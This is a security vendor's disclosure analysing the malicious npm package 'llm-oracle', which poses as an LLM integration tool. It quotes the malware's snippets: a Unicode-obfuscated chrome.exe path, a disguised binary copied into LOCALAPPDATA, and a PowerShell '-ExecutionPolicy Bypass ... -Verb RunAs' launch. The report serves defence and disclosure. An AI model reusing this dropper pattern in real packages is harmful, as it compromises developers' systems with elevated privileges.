Supply Chain Attacks Targeting LLM Application Developers: The Hidden Dangers of Fake Open Source Packages

As the field of artificial intelligence (AI) and machine learning (ML) continues to evolve at a rapid pace, developers are always on the lookout for new tools to simplify their work with large language models (LLMs). Open-source libraries and packages are central to this progress, but this convenience comes with hidden risks.

Malicious actors are now exploiting the popularity of LLM research to spread malware through seemingly useful npm packages. One such package, ‘llm-oracle’, presents itself as a helpful tool for developers wishing to integrate LLMs into their projects, while hiding malicious code designed to compromise the systems of those who install it.

The Bait: A Promising Open-Source Tool for LLM Integration#

Package names:

https://socket.dev/npm/package/redis-oracle/files/1.0.5

https://socket.dev/npm/package/llm-oracle/files/1.0.0

The ‘llm-oracle’ package appears to be an ideal tool for LLM practitioners, offering features like seamless integration with various different LLMs, customizable model responses, and secure API interactions. It’s easy to imagine how developers excited about exploring new machine learning models would be lured by this package. The package description might lead developers to believe they are installing a state-of-the-art solution for LLM integration.

However, beneath this appealing surface lies a sinister motive: this package contains malicious code designed to target and exploit those who download it. While a similar package, ‘redis-oracle’, was recently taken down due to its malicious intent, ‘llm-oracle’ remains live on NPM.

Uncovering the Malicious Code: How ‘llm-oracle’ Works#

The malicious code inside ‘llm-oracle’ is hidden behind layers of obfuscation and disguised functionality, making it hard to detect without a close examination. Here’s how this attack works, step by step:

Step 1: Obfuscation and Targeting Chrome Executables

The malware in ‘llm-oracle’ employs obfuscation techniques, using encoded characters to disguise its true purpose. This portion of the code, for example, obfuscates the creation of a file named chrome.exe:

const targetFilePath = path.join(
  process.env.LOCALAPPDATA,
  String('\\\\u0063\\\\u0068\\\\u0072\\\\u006f\\\\u006d\\\\u0065\\\\u002e\\\\u0065\\\\u0078\\\\u0065').replace(/\\\\+/g, '')
);

This code decodes to chrome.exe, a name commonly associated with a legitimate process, which helps the malware avoid suspicion. By using obfuscated Unicode characters, the script disguises its true intention from anyone reviewing the code, including automated scanning tools.

Step 2: Copying a Malicious File to the System

The malicious package also includes a file named ‘Base64Decode.ts’, which is falsely presented as a TypeScript utility file. In reality, this file is a malicious binary designed to harm the system. Once the package is installed, the script copies this file to the LOCALAPPDATA directory, renaming it to chrome.exe:

const modelFilePath = path.join(currentDir, 'Base64Decode.ts');

// Copy the malicious file to the target location and rename it
if (!fs.existsSync(targetFilePath)) {
  fs.copyFileSync(modelFilePath, targetFilePath);
}

Renaming the file to chrome.exe disguises the malicious binary as a legitimate executable file, making it less likely to raise alarms during routine system checks.

Step 3: Running the Malicious File with Elevated Privileges

Once the ‘Base64Decode.ts’ file has been copied and renamed, the malware executes it using PowerShell with elevated privileges. This is where the real damage begins:

exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {
  // Executes the malicious binary with administrative permissions
});

The -ExecutionPolicy Bypass flag in PowerShell allows the malware to bypass system security policies, and the -Verb RunAs flag ensures that the malicious script runs with administrative rights. With these elevated privileges, the malware can carry out harmful activities on the victim’s system without being restricted by user-level permissions.

The Key Player: ‘Base64Decode.ts’ – A Malicious Binary

At the core of the attack is the ‘Base64Decode.ts’ file, which is not the harmless TypeScript file it pretends to be. Instead, it is a malicious binary designed to perform a range of harmful activities once executed:

• System Modification: It can alter critical system files or settings, making it harder to remove or detect.
• Data Theft: The malicious binary could collect sensitive information, such as personal data, passwords, or API keys.
• Persistence: By embedding itself in critical system directories (disguised as chrome.exe), the malware ensures that it remains on the system even after attempts to remove it.
• Further Exploitation: It can serve as a backdoor for additional malware or allow remote attackers to gain control over the infected system.

Why the ‘llm-oracle’ Package is a Serious Threat#

While the ‘redis-oracle’ package was quickly removed from npm after its malicious intent was discovered, ‘llm-oracle’ remains active. Its primary danger lies in how well it disguises its malicious activities. Here’s why it poses a significant threat to developers and researchers:

1. Stealthy Execution: By using obfuscation and disguising itself as a useful tool, ‘llm-oracle’ can evade detection for longer periods, increasing its chances of infecting systems.
2. Elevated Privileges: The malware runs with administrative permissions, giving it the ability to make system-wide changes that are hard to undo.
3. Targeted Attack on LLM Practitioners: This package specifically targets developers in the rapidly growing field of large language models, taking advantage of their desire for new tools.
4. Persistence: The malicious file embeds itself into system directories, making it difficult to identify and remove once it has infected a machine.

The Threat is Still Live

Despite the takedown of ‘redis-oracle’, ‘llm-oracle’ remains live on npm and continues to pose a serious risk to anyone who installs it. Practitioners in the LLM field, eager to explore new tools, may fall victim to this malware without realizing it.

What You Should Do

1. Avoid Installing ‘llm-oracle’: Do not install this package. Its malicious intent has been confirmed, and installing it could compromise your system. You can protect your code by installing Socket's free GitHub app to scan new and updated dependencies for indicators of supply chain risk.
2. Check for Signs of Infection: If you suspect that you have installed this package, check your system for any suspicious files, particularly those named chrome.exe located in the LOCALAPPDATA directory.
3. Stay Alert: The Socket research team has reported the malicious package to the npm team for removal.

Conclusion

The ‘llm-oracle’ npm package shows how malicious actors can exploit the open-source ecosystem to target software developers, particularly in trending fields like LLM research. By disguising itself as a helpful tool, it lures users into installing malware that can compromise their systems.

This article serves as a warning to the developer and research community: Be cautious when installing new npm packages, especially those that claim to offer attractive features for large language models or AI research. The ‘llm-oracle’ package remains live, and its real purpose is far from what it advertises. The Socket research team reported this package to the npm registry and we would expect it to be taken down shortly.

As always, proceed with caution and review any packages you install to protect your system from this growing threat.

By staying vigilant and taking proactive measures, you can protect your system from the dangers hidden within malicious npm packages like ‘llm-oracle’. Stay safe, and always review the code behind the tools you rely on.

Credits to the Socket Research Team: Dhanesh Dodia, Sambarathi Sai, Dwijay Chintakunta